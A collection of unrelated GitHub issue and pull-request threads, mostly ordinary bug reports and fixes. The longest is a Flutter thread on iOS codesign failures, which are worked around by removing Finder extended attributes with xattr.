A horizontal scroll bar required to view additional columns on the right
A filter that returns an empty grid.

With these 2 conditions, note a vertical separator line appears in the first column of the header row when you scroll to the right to view additional columns.
Version
Data-grid: V1.1.11 & Master
Screenshot

Code
https://gist.github.com/ppeyro/e9c7e0784a0760c4342c2da412d6d94d

In selection mode if no other columns are frozen the selection column is frozen, so it will get this line.


Update to work with Atom 1.13.0+ [#2]

Utilises the changes mentioned by @ekxxi, to prevent Atom from having to fix out of date selectors, and future-proof it for when Atom stops doing this.

Thanks @davidsharp. I should have done that, but wasn't quite comfortable at the time. I'm teaching myself development as I can, and still fairly new at using git.


Request: add sargon24.com to the filter

Evidence: https://sargon24.com/single/350104/JSON-string-to-dataframe-change-schema-schema-contain-Ambiguous-column-Spark-Scala
Original: https://stackoverflow.com/questions/71783968/json-string-to-dataframe-change-schema-schema-contain-ambiguous-column-spark

Thanks a lot!


vgmtools: unstable-2023-01-27 -> unstable-2023-04-17

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for vgmtools is: A collection of tools for the VGM file format
meta.homepage for vgmtools is: https://github.com/vgmrips/vgmtools
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
found unstable-2023-04-17 in filename of file in /nix/store/2aq7vs3mfyr2xdw4n6jy4ipmxgarpij3-vgmtools-unstable-2023-04-17

Rebuild report (if merged into master) (click to expand)

1 total rebuild path(s)

1 package rebuild(s)

First fifty rebuilds by attrpath
vgmtools

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/2aq7vs3mfyr2xdw4n6jy4ipmxgarpij3-vgmtools-unstable-2023-04-17 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A vgmtools https://github.com/r-ryantm/nixpkgs/archive/0d11b477754a4fa27f4723026e80413b8843c9ed.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/2aq7vs3mfyr2xdw4n6jy4ipmxgarpij3-vgmtools-unstable-2023-04-17
ls -la /nix/store/2aq7vs3mfyr2xdw4n6jy4ipmxgarpij3-vgmtools-unstable-2023-04-17/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

vgmtools

Maintainer pings
cc @OPNA2608 for testing.

Result of nixpkgs-review pr 228517 run on aarch64-darwin 1

1 package built:

vgmtools


[1/2] Allow user to quit GUI from terminal

Based on #95
This allows a user to quit the GUI from the terminal. It introduces a QTimer in bitcoin.cpp to periodically call the NodeModel detectShutdown function.

I prefer #97.

Closing in favor of #97


Obligator doesn't work on Arch Linux

I recently installed Arch Linux and Obsidian, and through the Obsidian Sync, pulled all of my notes and community plugins through.
Obligator is the only one (and I used it the most) that does not work. I get the error
"Failed to load plugin: Obligator"
Version of Arch: 6.6.67-1-lts
Version of Obsidian: v1.7.7
Version of Obligator: 5.2.0

Well, I don't have an arch machine right now so I can't figure out what would cause that. But I'll mark this as a bug. Thanks for the information.

If you let me know what you would like me to test, where the logs are
stored, I can get those for you.
On Fri, 27 Dec 2024 at 13:54, Dimitar Dimitrov @.***>
wrote:

Well, I don't have an arch machine right now so I can't figure out what
would cause that. But I'll mark this as a bug. Thanks for the information.
—
Reply to this email directly, view it on GitHub
https://github.com/Newbrict/obsidian-obligator/issues/43#issuecomment-2563724505,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ACI4ELZX7L7F57W6GFTUBYT2HVL23AVCNFSM6AAAAABUINJO56VHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDKNRTG4ZDINJQGU
.
You are receiving this because you authored the thread.Message ID:
@.***>


Bluetooth: Audio: TBS Client optional procedures actually optional

This change makes the optional procedures in the TBS Client optional
and configurable through Kconfig.
Signed-off-by: Fredrik Danebjer<EMAIL_ADDRESS>

I think what you are going for here already has an issue: I think what you are going for already has an issue: https://github.com/zephyrproject-rtos/zephyr/issues/41217
It may be simpler to use the approach from that issue, with a single "MINIMAL" Kconfig rather than making them all independently optional.
(Independently optional is of course more flexible, but I think that in a majority of cases, users will either want the full set or the minimum mandatory set.)

I think you are right that most users probably will choose a minimal one, but there are still some concerns to that.
There is for a sure a use-case that picks a few of the optional procedures while still aiming to use a minimal implementation. For example, just picking the 'accept call' and 'terminate call' I believe is quire desirable.
The TBS Client is also memory-wise quite large in the LE Audio space, which is I why I think the flexibility of picking what we want is nice.

@Thalley The build error 'bt_tbs_client_get_by_ccid' seems familiar - is that related to some recent updated?

It is because @fredrikdanebjer guarded the header file with CONFIG_BT_TBS_CLIENT_CCID for the bt_tbs_client_get_by_ccid function (which we shouldn't do).

@fredrikdanebjer Btw, it could be quite interesting to see a before and after, i.e. a RAM and/or ROM report with the TBS client with everything enabled, and one where everything optional is disabled, so we have an idea of how much this saves

@fredrikdanebjer Btw, it could be quite interesting to see a before and after, i.e. a RAM and/or ROM report with the TBS client with everything enabled, and one where everything optional is disabled, so we have an idea of how much this saves

@Thalley
Here is a snap of the tbs_client.c reports towards my target, without debug logs enabled.
ROM AllOptionals/NoOptionals:  6612 / 1726
RAM AllOptionals/NoOptionals:  2488 / 1388


rabbitmq debian repo support for ppc64le

When attempting to install via apt-get on a ppc64le system (i.e. an OpenPower / POWER8 server), the apt-get install fails because the rabbitmq repo doesn't claim support for ppc64le (i.e. http://www.rabbitmq.com/debian/dists/testing/InRelease lists many things, but not that).
Manually downloading the debian package (e.g. http://www.rabbitmq.com/releases/rabbitmq-server/v3.6.1/rabbitmq-server_3.6.1-1_all.deb) works like a champ, assuming erlang is present on the machine.
Can you add ppc64le to your supported architectures in the repo?

Moved to https://github.com/rabbitmq/rabbitmq-server/issues/738.


FileTarget.DeleteOldDateArchive minor fix

DeleteOldDateArchive could delete files not being actual archives.

Is this #863?

I think this is another issue.

also enhancement because of removal code duplication.

Thanks!


Cookie banner css removing padding when above 2000px

Changed cookie banner to recommendation-and-decision, removed some inconsistent three quarters classes and fixed the border not appearing and being inline

Good test case: GBSIEL/2022/0000203/P

LTD-

the bug is still appearing for me, unfortunately. I've got a screen recording video which I can share with you on slack


Correct the dirfd argument value that passes to fstatat

// dirfd: This is the file descriptor of the directory relative to which the pathname is interpreted.
int openat(int dirfd, const char *pathname, int flags, ...);

The value should be directory handle instead of file handle(which is always -1 in this context) return from openat
This PR will fix the random failing test case nofollow_errors mentioned in https://github.com/bytecodealliance/wasm-micro-runtime/issues/3222

@zoraaver this PR helps fix an error that is often reported by CI, could you help have a look? Thanks.


Case insensitive username

Overwritten default User model to make username case insensitive

I would strongly suggest a cast to lowercase on login/sign up, too.
The hassle with the db for this simple task is not necessary.

We can lowercase the login/signup but we don't want to force a user to choose all lowercase username right? A user can create a mixed case username and we should save and display it as it is in his/her profile page. That was my idea. It is already implemented and works fine so there is no hassle anymore ;)

@uttamdhakal  migrations are still broken. the migrations already in devel are not to be touched.


How to pack into nuget?

Hi Mukesh,
please, can you describe a process for building a nuget package?
Thanks!

This may be what you are looking for @bouskdav
https://docs.microsoft.com/en-us/nuget/quickstart/create-and-publish-a-package-using-the-dotnet-cli


file upload support on new rmb

The new rmb can support file upload as follows:

an rmb-peer reserves commands with special prefixes rmb.
the peer itself need to handle the following commands

rmb.file.upload > returns a uid that need to be included in the following calls
rmb.file.write > (uid, offset, data)

The offset is needed in case messages are received out of order although that should not happen

make rmb.file.write calls as much as needed
make rmb.file.done(uid)

The UID is then can be used to pass to other services running behind rmb.

Already started a new branch support-built-in-fn that already has some clean up of the code.


I'm also seeing this. Seems to be related to certain assets specified in pubspec.yaml for me, but haven't been able to track it down to a reproducible example. Moving a file around using OSX Finder appears to fix the issue in some cases.

@jmagman Thanks for your solution - I tried to anticipate it but I really not found the "com.apple.FinderInfo" attributes. I searched in the "packages/flutter_tools/lib/src/build_system/targets/ios.dart" and in the "packages/flutter_tools/test/general.shard/build_system/targets/ios_test.dart" file which you are list In your solution - but there wasn't any "com.apple.FinderInfo" attribute...
Could you please give me a hint where I can find them? Thank you.

That PR is removing the attributes from

@Hixie I already tried to build an complete new App on my macBook. The demo version from flutter run still fine on the simulator. However, when I started loading packages into my pubspeck.yaml file, the problem started: When I loaded 10 packages at once into the file and clicked "Run", I had the same error as with my original project. However, when I now loaded each of the 10 packages one after the other and loaded the app once after each package via "Run" on the simulator, it worked with the 10 package (very strange, because it was exactly the same project at the end).
What was also weird: The demo version loaded within about 30 seconds. (About that's how long all my projects took to load in the simulator before my problem occurred). From the first package on that I loaded via pubspeck.yaml, the "Run" command took over 300 seconds each time.

I'm also seeing this. Seems to be related to certain assets specified in pubspec.yaml for me, but haven't been able to track it down to a reproducible example. Moving a file around using OSX Finder appears to fix the issue in some cases.

Interesting, let us know if you come up with a reproducable example.
I specular

hey @jmagman I'm the original author of  #79404 and was just now able to get back to this project. I see that you mentioned we could track it here now. Do you still want me to create a new one?
In the meantime, I just updated to master,
[✓] Flutter (Channel master, 2.3.0-1.0.pre.153, on macOS 11.2.3 20D91 darwin-x64, locale en-US)
    • Flutter version 2.3.0-1.0.pre.153 at /Users/jan/flutter
    • Upstream repository https://github.com/flutter/flutter.git
    • Framework revision f6726b425d (12 minutes ago), 2021-04-28 20:33:36 +0200
    • Engine revision d0688da4b1
    • Dart version 2.14.0 (build 2.14.0-48.0.dev)

And I'm still seeing
               [   +1 ms] invalidated build due to missing files:
               /Users/jan/Projects/flutter/rpm/DOES_NOT_EXIST_RERUN_FOR_WILDCARD548537849
               [  +73 ms] debug_ios_bundle_flutter_assets: Starting due to {InvalidatedReasonKind.inputMissing: The
following
               inputs were missing: /Users/jan/Projects/flutter/rpm/DOES_NOT_EXIST_RERUN_FOR_WILDCARD548537849}
               [ +227 ms] Manifest contained wildcard assets. Inserting missing file into build graph to force
rerun. for more
               information see #56466.
               [ +365 ms] Persisting file store
               [  +16 ms] Done persisting file store
               [  +13 ms] Target debug_ios_bundle_flutter_assets failed: Exception: Failed to codesign
               /Users/jan/Projects/flutter/rpm/build/ios/Debug-iphonesimulator/App.framework/App with identity -.
                          /Users/jan/Projects/flutter/rpm/build/ios/Debug-iphonesimulator/App.framework/App:
replacing existing
                          signature
                          /Users/jan/Projects/flutter/rpm/build/ios/Debug-iphonesimulator/App.framework/App:
resource fork,
                          Finder information, or similar detritus not allowed

Ran a flutter clean before trying it.
Let me know how can I help.

@jmagman I think I can replicate it reliably, it seems to be specific png images which trigger it but not all (perhaps different png color depths?) I've attached a png which triggers the issue for me.
flutter create foo
mkdir foo/assets

Then drop the narrative.png in foo/assets and reference it in pubspec.yaml
  # To add assets to your application, add an assets section, like this:
  assets:
    - assets/narrative.png

Trying to flutter run from within foo will generate a "Command PhaseScriptExecution failed with a nonzero exit code" error for me, if I comment out the assets section from pubspec.yaml I can run the app again.

I should add that I need to run flutter clean after "fixing" my pubspec.yaml or the build still fails.

I can confirm that commenting out my assets import from pubspec.yaml and running flutter clean gets rid of this problem 👀
I do have dozens of images though, so it might take a while to pinpoint the one causing the problem... Good catch @muhleder !

@jlubeck @muhleder since you're both reproduce this:

I speculatively merged #81342. Could any of you reproducing this try checkout out the master channel and let me know if it fixed the problem?

@jmagman I reproduced it with the latest master branch with that commit yes.

@jlubeck @muhleder since you're both reproducing this:

I speculatively merged #81342. Could any of you reproducing this try checkout out the master channel and let me know if it fixed the problem?

Yes, check my comment right before @muhleder 's. I already tried master channel and didn't fix it for me. Unless my master is not fully upgraded? (the upgrade did say it was only 8 minutes ago)

Yes, check my comment right before @muhleder 's.

Ah sorry, missed your comment.  If your upgrade was from 8 minutes ago it definitely contained https://github.com/flutter/flutter/pull/81342 from an hour ago, thanks for checking.
What does xattr -lr build/ios/Debug-iphonesimulator/App.framework/App output (or whatever the path your error message indicates)?  Maybe it's some non-com.apple.FinderInfo extended attribute...

@jmagman it returns nothing

Ok, I was able to pinpoint the ONLY image on my project that makes the build fail. Here you go

Not sure if Github compresses images . If you can't reproduce it, let me know how else I can send the original one.

I tried with both the jpeg and png and neither reproduced the problem, but as you say maybe GitHub is doing some extra processing.  Maybe zip them up?

@jmagman it returns nothing

I'm not sure what this is if the reported binary doesn't have any Finder information.  Seems like a long shot but maybe it's the resource fork thing?
Does ls -l build/ios/Debug-iphonesimulator/App.framework/Appg/rsrc return anything?  How about on the images you suspect? ls -l assets/your.png?

Also, how about xattr -lr assets/your.png?

Another speculative fix at https://github.com/flutter/flutter/pull/81435.

@jmagman #81435 seems to fix the issue for me.

Thank you very much for all the solutions and the time you have invested!
I was able to solve my problem by checking the assets in the pupspeck.yaml file. Three assets were responsible for the error. After deleting these 3 images, everything is working again. I can't really explain it, because these 3 images that caused the error don't show any significant difference to the other images / assets in the file, but now it works again.

Another speculative fix at #81435.

how can I test this if it's not merged to master yet?

@jlubeck You can install Flutter from the Github repo. https://flutter.dev/docs/get-started/install/macos#downloading-straight-from-github-instead-of-using-an-archive
Using the branch with the speculative fixes in is probably easiest. https://github.com/jmagman/flutter/tree/xattr

Before you try the fix can you please give me the output I requested?

xattr -lr assets/your.png?

Before you try the fix can you please give me the output I requested?

xattr -lr assets/your.png?

If you're hitting this issue, you can work around it until that fix hits your channel by running this command in your Flutter project:
xattr -r -d com.apple.FinderInfo .

Sounds like #81435 will fix it then.
If you're hitting this issue, you can work around it until that fix hits your channel by running this command in your Flutter project:
xattr -r -d com.apple.FinderInfo .

Thanks so much!! I've been on this problem for days ... Now solved with the above command

@jmagman I assigned this to you since it sounds like you did the heavy lifting to figure it out! Sounds like it's ready to be closed now?

Yup, #81435 will close this when it merges.

This issue seems to be on Flutter 2.2 stable. The xattr -r -d com.apple.FinderInfo . command fixed it but I just spent 2 hours trying to figure out what is was. This should be hot fixed.

This issue seems to be on Flutter 2.2 stable. The xattr -r -d com.apple.FinderInfo . command fixed it but I just spent 2 hours trying to figure out what is was. This should be hot fixed.

Adding the tag.  This fix was low-risk.

This wasted way too much time. Please hot-fix this asap. Thanks so much @jmagman .

I also have similar error in iOS after upgraded to Flutter 2.2.
Should i wait for 2.2.1 new upgrade version for this issue or what should i change, remove for iOS build?

@shinewanna

If you're hitting this issue, you can work around it until that fix hits your channel by running this command in your Flutter project:
xattr -r -d com.apple.FinderInfo .

Sounds like #81435 will fix it then.
If you're hitting this issue, you can work around it until that fix hits your channel by running this command in your Flutter project:
xattr -r -d com.apple.FinderInfo .

Thanks so much!! I've been on this problem for days ... Now solved with the above command

I freaking love you @shinewanna @jmagman  The above command fixed it for me. Thank you so much! Would you mind elaborating on the command and what it actually does/why it fixes? Just for knowledge base. Appreciate it!

@danielgchap Finder threw some extended attribute on one of your files, and when it was compiled into your app Xcode couldn't codesign https://developer.apple.com/library/archive/qa/qa1940/_index.html
The discussion in this issue explains how we found the problem.

When I run the command xattr -r -d com.apple.FinderInfo . it says "[Errno 13] Permission denied: './.git/objects/25/b96186dc17cdbc672193cd4967c603c8133be2'"
And now when I run the app, instead of the initial deployment target error it gives me the errors below. Any help would be appreciated as I've been stuck on this for days.

@marinaharmon make sure this line is in the loop method at the bottom of your podfile: (I've seen some 'fixes' where this isn't present and flutter needs it...)
flutter_additional_ios_build_settings(target)
i.e. here's the bottom of my podfile...

Hope it helps

@danielgchap that worked! thank you so much for the quick response!

@marinaharmon haha my pleasure marina! All the best!

This command below helped me.
Navigate to your projects root directory from within your terminal then execute this command
xattr -cr .
Refers here: https://stackoverflow.com/a/61152993/4700001

still getting the same error after upgrading to Flutter 2.2.1. Already tried manually running xattr -r -d com.apple.FinderInfo . but that still doesn't work. Also tried removing Podfile and Podfile.lock, then run pod install pod upgrade. Nothing works.
[✓] Flutter (Channel stable, 2.2.1, on Mac OS X 10.15.7 19H1217 darwin-x64, locale en-CA)
    • Flutter version 2.2.1 at /Users/ivanchau/Documents/flutter
    • Framework revision 02c026b03c (11 days ago), 2021-05-27 12:24:44 -0700
    • Engine revision 0fdb562ac8
    • Dart version 2.13.1

[✓] Android toolchain - develop for Android devices (Android SDK version 31.0.0-rc1)
    • Android SDK at /Users/ivanchau/Library/Android/sdk
    • Platform android-30, build-tools 31.0.0-rc1
    • ANDROID_HOME = /Users/ivanchau/Library/Android/sdk
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6915495)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 12.0.1, Build version 12A7300
    • CocoaPods version 1.10.1

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 4.1)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6915495)

[✓] VS Code (version 1.56.2)
    • VS Code at /Applications/Visual Studio Code.app/Contents
    • Flutter extension version 3.23.0

[✓] Connected device (2 available)
    • iPhone 11 Pro Max (mobile) • 36777792-CB35-48E9-B9DA-A472F2FA6491 • ios            • com.apple.CoreSimulator.SimRuntime.iOS-14-0 (simulator)
    • Chrome (web)               • chrome                               • web-javascript • Google Chrome 91.0.4472.77

@ivanchaukn Can you file a new issue and completely fill out the template?  If xattr -r -d com.apple.FinderInfo . doesn't fix it for you then the 2.2.1 hotfix won't either, since that's all it does.  Include:

The output of flutter run -v (you'll have to attach it , it's large)

$ cd your_flutter_project
$ xattr -lr .

@shinewanna

If you're hitting this issue, you can work around it until that fix hits your channel by running this command in your Flutter project:
xattr -r -d com.apple.FinderInfo .

Using this gives me the following errors:
xattr: [Errno 13] Permission denied: './.git/objects/a5/965ab8dced71464f52d81becbc8397b4610413'
For a lot of lines. Any idea on how to fix this?

@roderikpeeters  : sudo xattr -r -d com.apple.FinderInfo .
But not work for me, all my iOS projects are stuck...
[✓] Flutter (Channel stable, 2.2.1, on macOS 11.3.1 20E241 darwin-x64, locale fr-FR)
    • Flutter version 2.2.1 at /Users/lionelmalloggi/Documents/Flutter/flutter2
    • Framework revision 02c026b03c (12 days ago), 2021-05-27 12:24:44 -0700
    • Engine revision 0fdb562ac8
    • Dart version 2.13.1

[✓] Android toolchain - develop for Android devices (Android SDK version 30.0.0)
    • Android SDK at /Users/lionelmalloggi/Library/Android/sdk
    • Platform android-30, build-tools 30.0.0
    • Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6915495)
    • All Android licenses accepted.

[✓] Xcode - develop for iOS and macOS
    • Xcode at /Applications/Xcode.app/Contents/Developer
    • Xcode 12.5, Build version 12E262
    • CocoaPods version 1.10.1

[✓] Chrome - develop for the web
    • Chrome at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome

[✓] Android Studio (version 4.1)
    • Android Studio at /Applications/Android Studio.app/Contents
    • Flutter plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/9212-flutter
    • Dart plugin can be installed from:
      🔨 https://plugins.jetbrains.com/plugin/6351-dart
    • Java version OpenJDK Runtime Environment (build 1.8.0_242-release-1644-b3-6915495)
[✓] Connected device (3 available)

@roderikpeeters @MapleNoise

Can you file a new issue and completely fill out the template?
Include:

The output of flutter run -v (you'll have to attach it , it's large)

$ cd your_flutter_project
$ xattr -lr .

This issue seems to be on Flutter 2.2 stable. The xattr -r -d com.apple.FinderInfo . command fixed it but I just spent 2 hours trying to figure out what is was. This should be hot fixed.

thx a lot dude, u saved me

I've been dealing with this issue for a while now and I'm on the most up-to-date version of flutter. going through my logs i think it's related to the issue #64502. I tried adding the xattr -r -d com.apple.FinderInfo . But that didn't work and I don't think it was relevant due to being on version 2.2.3. I should probably add that I've been working on this app since flutter 1.7 ish so it does not include sound null safety.
Flutter doctor
Doctor summary (to see all details, run flutter doctor -v):
[✓] Flutter (Channel stable, 2.2.3, on macOS 11.5.1 20G80 darwin-x64, locale en-US)
[✓] Android toolchain - develop for Android devices (Android SDK version 30.0.3)
[✓] Xcode - develop for iOS and macOS
[✗] Chrome - develop for the web (Cannot find Chrome executable at /Applications/Google Chrome.app/Contents/MacOS/Google Chrome)
    ! Cannot find Chrome. Try setting CHROME_EXECUTABLE to a Chrome executable.
[✓] Android Studio (version 4.1)
[✓] VS Code (version 1.58.2)
[✓] Connected device (1 available)
    ! Error: Jay2j’s iPhone is not connected. Xcode will continue when Jay2j’s iPhone is connected. (code -13)

Packages
dependencies:
  charts_flutter: ^0.10.0
  flutter_animation_progress_bar: ^1.0.5
  menu_button: ^1.4.2+1
  simple_tooltip: ^0.1.14
  flutter_slidable: ^0.5.7
  flutter:
    sdk: flutter
  polygon_clipper: ^1.0.2
  cupertino_icons: ^0.1.2
  outline_material_icons: ^0.1.1
  get_it: ^4.0.2
  font_awesome_flutter: ^8.7.0
  carousel_pro: ^1.0.0
  flutter_screenutil: ^1.1.0
  email_validator: '^1.0.0'
  http: ^0.13.3
  sembast: ^2.4.10+4
  double_back_to_close_app: ^0.1.1
  path: ^1.7.0
  shared_preferences: ^0.5.3+4
  flushbar: ^1.8.2
  passwordfield: ^0.0.2
  json_annotation: ^4.0.0
  pin_code_text_field: ^1.3.7
  fluttertoast: ^3.1.2
  intl: ^0.17.0
  flutter_custom_clippers: ^1.0.4
  bottom_sheet_stateful: ^0.1.1
  rflutter_alert: ^1.0.3
  firebase_crashlytics: ^2.0.0
  firebase_dynamic_links: ^0.5.0+11
  firebase_auth: ^1.0.2
  firebase_remote_config: ^0.10.0
  firebase_analytics: ^8.0.0
  dropdownfield: ^1.0.3
  grouped_buttons: ^1.0.4
  progress_dialog: ^1.2.0
  flutter_sticky_header: ^0.4.0
  flutter_pagewise: ^1.2.3
  material_design_icons_flutter: ^3.2.4495
  auto_size_text: ^2.1.0
  avatar_glow: ^1.0.0
  url_launcher: ^6.0.4
  html: ^0.15.0
  percent_indicator: "^2.1.1"
  date_format: ^1.0.8
  flutter_dash: ^0.0.1
  open_file: ^3.0.1
  flutter_full_pdf_viewer: ^1.0.4
  path_provider:  ^2.0.0
  geolocator: ^5.1.3
  package_info: ^2.0.2
  geocoder: ^0.2.1
  google_maps_webservice: ^0.0.20-nullsafety.5
  geocoding: ^2.0.0
  flutter_spinkit: ^2.1.0
  flutter_google_places: ^0.2.5
  address_search_field: ^4.0.1
  google_maps_flutter: ^2.0.2
  background_fetch:
  permission_handler: ^6.0.1
  flutter_secure_storage: ^3.3.3
  shimmer: ^1.1.1
  local_auth: ^1.1.6
  date_range_picker: ^1.0.7
  plaid_flutter: ^1.1.1
  page_transition: ^1.1.6
  decimal: ^0.3.0
  firebase_messaging: ^10.0.0
  firebase_core: ^1.0.3
  cloud_firestore: ^1.0.3
  flutter_multi_formatter: ^1.1.8
  swipedetector: ^1.2.0
  #cached_network_image: ^2.5.1
  keyboard_actions: "^3.3.1+1"
  syncfusion_flutter_charts: ^18.3.48
  fl_chart: ^0.12.0
  ant_icons: ^1.0.0
  flutter_svg: ^0.19.3
  notifications_enabled: ^0.0.2
  flutter_native_timezone: ^1.0.4
  firebase_storage: ^8.0.1
  webview_flutter: ^2.0.8
  flutter_inappwebview: ^5.3.2

verboseLogs.txt

This issue seems to be on Flutter 2.2 stable. The xattr -r -d com.apple.FinderInfo . command fixed it but I just spent 2 hours trying to figure out what is was. This should be hot fixed.

thx a lot dude, u saved me

This and flutter clean command fixed things for me


Handoff should ignore segments that are dropped by drop rules

We have seen problem scenarios like the following:

A user has load rules like: load 30 days, drop forever.
The user loads data with Kafka indexing that is older than 30 days. Generally this is a small proportion of the overall data.
The coordinator disables the segments immediately upon noticing them (since it is beyond the 30 day window).
The Kafka tasks time out during handoff (because the segments are never loaded).

To fix this, handoff should be made to ignore segments that are dropped by drop rules. This should be doable by adding some info about this to the coordinator API that tasks use to monitor handoff.
Related, but different: #5869. IMO #5869 should be done before this one, to prevent users from accidentally getting slightly-future data dropped.

Even though this isn't directly related to Kafka indexing, I gave it a Kafka tag since that's the kind of indexing most likely to be affected.


resolve error with API token

When trying to packer build . there is an error that the TF module does not have the api_token set.

@timothymamo I noticed this when having a play with a deployment today.


How to access local files in XAgent?

I want XAgent to read a local file (given a related path) and process it. Where should I place the file?
(Is this a supported feature?)
(I tried to place it in local_workspace, but XAgent can't find it and downloaded a weird one from the Internet)

You can use argument --upload_files to upload your files to XAgent. You can check the detailed usage of run.py with python run.py --help


DatasetGenerationError

Hi,
Thank you for this great effort.
When attempting to reproduce the results, I ran the following command:
python src/run.py \
    src/configs/training/base_training_args.json \
    src/configs/data/gov_report.json \
    --output_dir output_train_bart_base_local/ \
    --learning_rate 1e-5 \
    --model_name_or_path facebook/bart-base \
    --eval_steps 1000 --save_steps 1000 \
    --per_device_eval_batch_size 1 --per_device_train_batch_size 2 \
    --extra_metrics bertscore \
    --unlimiformer_training \
    --max_source_length 16384 \
    --test_unlimiformer --eval_max_source_length 999999 --do_eval=True \
    > output/output$(date +%s).txt

I encountered the following error:
Generating train split: 0 examples [00:00, ? examples/s]
Traceback (most recent call last):
  File "/home/yibop/miniconda3/envs/unlimiformer/lib/python3.10/site-packages/datasets/builder.py", line 1750, in _prepare_split_single
    for key, record in generator:
  File "/home/yibop/.cache/huggingface/modules/datasets_modules/datasets/tau--sled/b5fab54723c8a515071f8b983dcb93519ae71beced5ad96f722cd22d91047229/sled.py", line 609, in _generate_examples
    for key, row in gen:
  File "/home/yibop/.cache/huggingface/modules/datasets_modules/datasets/tau--sled/b5fab54723c8a515071f8b983dcb93519ae71beced5ad96f722cd22d91047229/sled.py", line 520, in _scrolls_gen
    with open(data_file, encoding="utf-8") as f:
  File "/home/yibop/miniconda3/envs/unlimiformer/lib/python3.10/site-packages/datasets/streaming.py", line 75, in wrapper
    return function(*args, download_config=download_config, **kwargs)
  File "/home/yibop/miniconda3/envs/unlimiformer/lib/python3.10/site-packages/datasets/utils/file_utils.py", line 1222, in xopen
    return open(main_hop, mode, *args, **kwargs)
NotADirectoryError: [Errno 20] Not a directory: '/home/yibop/.cache/huggingface/datasets/downloads/73eca96a974f65c46cdf67acc0d23b976b9c57ce310d35ad7cfda8b6dc67001d/gov_report/train.jsonl'

Traceback (most recent call last):
  File "/home/yibop/yibop/unlimiformer/src/run.py", line 1180, in <module>
    main()
  File "/home/yibop/yibop/unlimiformer/src/run.py", line 437, in main
    seq2seq_dataset = _get_dataset(data_args, model_args, training_args)
  File "/home/yibop/yibop/unlimiformer/src/run.py", line 943, in _get_dataset
    seq2seq_dataset = load_dataset(
  File "/home/yibop/miniconda3/envs/unlimiformer/lib/python3.10/site-packages/datasets/load.py", line 2616, in load_dataset
    builder_instance.download_and_prepare(
  File "/home/miniconda3/envs/unlimiformer/lib/python3.10/site-packages/datasets/builder.py", line 1029, in download_and_prepare
    self._download_and_prepare(
  File "/home/miniconda3/envs/unlimiformer/lib/python3.10/site-packages/datasets/builder.py", line 1791, in _download_and_prepare
    super()._download_and_prepare(
  File "/home/miniconda3/envs/unlimiformer/lib/python3.10/site-packages/datasets/builder.py", line 1124, in _download_and_prepare
    self._prepare_split(split_generator, **prepare_split_kwargs)
  File "/home/miniconda3/envs/unlimiformer/lib/python3.10/siteables/datasets/builder.py", line 1629, in _prepare_split
    for job_id, done, content in self._prepare_split_single(
  File "/home/miniconda3/envs/unlimiformer/lib python3.10/site-packages/datasets/builder.py", line 1786, in _prepare_split_single
    raise DatasetGenerationError("An error occurred while generating the dataset") from e
datasets.exceptions.DatasetGenerationError: An error occurred while generating the dataset

I tried the common solution found online: deleting the entire dataset cache directory
/home/.cache/huggingface/datasets

but it still doesn't work. Any ideas on what could be causing this issue?

I have contacted the authors of the dataset and this issue has been resolved.


Whitelist --experimental-modules Node flag

Requirements

Filling out the template is required. Any pull request that does not include enough information to be reviewed in a timely manner may be closed at the maintainers' discretion.
All new code requires tests to ensure against regressions.

Description of the Change

This commit adds --experimental-modules to the list of Node flag recognized by Mocha. This flag is passed directly to Node and enables experimental native support for ESM modules.
Alternate Designs

Do nothing: We could not add this option. This would require people to keep using NODE_OPTIONS for --experimental-modules.

Why should this be in core?
This PR allows to use mocha --experimental-modules foo.spec.js instead of requiring the workaround NODE_OPTIONS="--experimental-modules" mocha foo.spec.js.
This addition is in line with the various --harmony flags that were added while some ES6 features were still experimental.

Benefits
Allowing the use of the flag directly improves the ability to compose the command invocation. The flag has only a local impact. Requiring to set an environment variable increases the complexity of the applications, especially if environment variables are not needed otherwise.
It also improves the ergonomics of invoking Mocha when the user wants to use experimental modules.

Possible Drawbacks
No side-effects or negative impact (perhaps maintenance, but there are already many other such flags).

Applicable issues
See https://github.com/mochajs/mocha/issues/3006#issuecomment-406897900: merging this PR would improve the use of Mocha for pure Node+Mocha tests for native ESM.
This is an enhancement (semver minor version). It can be a patch since it's very minor and does not affect prod.

